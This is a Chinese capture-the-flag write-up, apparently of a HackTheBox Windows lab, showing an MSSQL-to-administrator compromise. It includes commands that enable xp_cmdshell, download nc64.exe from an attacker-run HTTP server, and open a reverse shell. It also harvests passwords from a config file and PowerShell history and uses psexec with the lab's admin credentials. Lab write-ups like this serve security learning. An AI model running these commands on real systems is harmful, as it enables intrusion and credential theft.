这一关学到了非常多的东西。
首先nmap
扫一下,扫出了很多服务。
└─$ sudo nmap -sS -sV -sC [ip-address]
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
445
端口的microsoft-ds
非常熟悉,掏出smbclient
└─$ smbclient -N -L [ip-address]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
先去看一下ADMIN$
,C$
发现都进不去。只有backups
可以
└─$ smbclient \\\\[ip-address]\\ADMIN$ -N
tree connect failed: NT_STATUS_ACCESS_DENIED
└─$ smbclient \\\\[ip-address]\\C$ -N
tree connect failed: NT_STATUS_ACCESS_DENIED
└─$ smbclient \\\\[ip-address]\\backups -N
tree connect failed: NT_STATUS_ACCESS_DENIEDsmb: \> dir
. D 0 Mon Jan 20 20:20:57 2020
.. D 0 Mon Jan 20 20:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020
不清楚什么是DTS的话看这里Data Transformation Services,通过维基了解到在后续的版本已经被Microsoft的SQL Server Integration Services替代了。
当然从这里了解到了Microsoft SQL Server
,这跟1443
端口有关系。
get prod.dtsConfig
关键字搜索发现了用户名和密码Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial
然后通过impacet工具包的mssqlclient.py尝试连接。需要提醒的是我们虽然发现的用户名是一个\
但是在bash里得换成/
不然会连接失败
└─$ mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@[ip-address] -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
#windows-auth : whether or not to use Windows Authentication
遇到不熟悉的先help
一下
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
因为没有对应的相关知识,下面都是根据wp来做的。
可以看HackTricks的1433 - Pentesting MSSQL - Microsoft SQL Server简单了解一些利用方式,虽然后来并没有用到里面说的。
而这篇则专门介绍MSSQL的一些命令MSSQL Injection Cheat Sheet
首先我们需要了解我们的权限,通过Cheat Sheet得知SELECT is_srvrolemember('sysadmin');
可以查询是否是sys
SQL> SELECT is_srvrolemember('sysadmin');
-----------
1
这说明我们是sysadmin,根据上面的help
手册的xp_cmdshell {cmd} - executes cmd using xp_cmdshell
了解到可以执行cmd。我们可以通过cmd来完成目标。
首先默认xp_cmdshell
是关闭的,不过我们仍然可以先xp_cmdshell {cmd}
尝试一下,发现没有使用的权限。那么接下来就是赋予权限了
SQL> EXEC sp_configure 'show advanced options', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
这里跟wp写的并不一样,wp说并没有激活xp_cmdshell
。但是我这里确实是激活了。如果你没有激活的话参照下面
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
然后奇怪的是下面也跟wp出现了分歧。
虽然不懂为啥wp要在这一部分弄一个反向Shell,然而实际上根本不需要。只需要轻松地敲敲cmd就好了。
当然弄一个反向Shell会比较方便一点
我们通过cmd上传需要的文件nc64.exe,但是在此之前我们需要知道我们所在的路径xp_cmdshell "powershell -c pwd"
得知我们在C:\Windows\system32
目录中,想要在这个目录下上传文件需要Administrator权限,而我们只是一个普通用户archetype\sql_svc
,所以选择在Downloaded目录下上传。
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.8/nc64.exe -outfile nc64.exe"
在本地起一个http服务和一个监听
sudo python3 -m http.server 80
sudo nc -lvnp 8000
然后就可以执行cmd.exe
了
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe [ip-address] 8000"
拿到反向Shell后就不用麻烦的敲xp_cmdshell "powershell -c {cmd}"
了。
如果你不想弄就按照下面的来
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Desktop;ls"
-ar--- 2/25/2020 6:37 AM 32 user.txt
SQL> xp_cmdshell "type C:\Users\sql_svc\Desktop\user.txt"
3e7b102e78218e935bf3f4951fec21a3
这里了解一下winPEAS是一个在Windows主机上搜索能够权限提升的路径的脚本。
像传nc64.exe
那样把winPEAS
上传。
powershell wget http://[ip-address]/winPEASx64.exe -outfile winPEASx64.exe
然后运行一下,输出信息非常的多,下面只列出一些必要的信息,搜索关键字PS history file
、SeImpersonatePrivilege
、SeAssignPrimaryToken
等
PS C:\Users\sql_svc\Downloads> powershell ./winPEASx64.exe
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
SeAssignPrimaryToken: DISABLED
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENA
SeImpersonatePrivilege
需要去看Overview of the impersonate a client after authentication and the create global objects security settings
如果我们拥有SeImpersonatePrivilege
或者SeAssignPrimaryToken
权限的话可以尝试利用JuicyPotato工具。然而根据上面的显示我们并没有,所以把目光转移到ConsoleHost_history.txt
上。
ConsoleHost_history.txt
这个文件存储着powershell命令使用记录。
根据博客论渗透信息收集的重要性中所说
打点时遇到Windows环境的文件下载漏洞,可下载以下文件(即
C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt
)进行敏感信息翻阅,某些运维会使用powershell进行管理工作组或域内机器,运气好的可以找到ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过powershell历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的IP段,扩宽我们的攻击面。
ConsoleHost_history.txt
的路径已经通过winPEAS找出来了
PS C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
#output
type ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
刚刚好出现了管理员的密码MEGACORP_4dm1n!!
。我们通过psexec连接即可
└─$ psexec.py administrator:'MEGACORP_4dm1n!!'@[ip-address]
C:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528